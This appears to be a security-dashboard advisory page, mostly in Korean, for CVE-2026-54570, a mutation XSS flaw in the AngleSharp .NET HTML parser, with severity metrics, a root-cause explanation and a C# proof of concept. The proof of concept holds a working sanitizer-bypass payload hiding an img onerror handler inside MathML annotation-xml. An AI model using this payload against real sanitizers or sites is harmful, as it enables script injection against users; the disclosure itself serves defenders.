Kestrel
대시보드로 돌아가기
CVE-2026-54570MEDIUM· 6.9GHSA대응게시일: 2026. 07. 17.수정일: 2026. 07. 17.

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.9medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도높음
필요 권한불필요
사용자 상호작용필요
범위변경
영향
기밀성 영향낮음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.16.9MODERATE
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N

상세 설명

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

  • Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
  • Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

text
1// Current — HtmlTip is never set
2: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

text
1// Escapes & " and \u00A0, but NOT < or >
2case Symbols.Ampersand: stringBuilder.Append("&amp;"); break;
3case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
4case Symbols.DoubleQuote: stringBuilder.Append("&quot;"); break;
5default: stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

xss
1using System;
2using System.Linq;
3using AngleSharp.Html.Parser;
4
5public class Program
6{
7 static readonly string Payload1 =
8 "<math>" +
9 "<annotation-xml encoding=\"text/html\">" +
10 "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
11 "</annotation-xml></math>";
12
13 public static void Main()
14 {
15 var parser = new HtmlParser();
16
17 Check(parser, Payload1, "IMG",
18 "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
19 "AngleSharp found <img> – SAFE");
20 }
21
22 static void Check(HtmlParser parser, string html, string tag,
23 string failMsg, string passMsg)
24 {
25 var doc = parser.ParseDocument(html);
26 var tags = doc.All.Select(e => e.TagName).ToHashSet();
27 var found = tags.Contains(tag);
28
29 Console.WriteLine(found ? passMsg : failMsg);
30 Console.WriteLine("Serialized output:");
31 Console.WriteLine(doc.DocumentElement.OuterHtml);
32 }
33}

Output:

xss
1AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
2Serialized output:
3<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.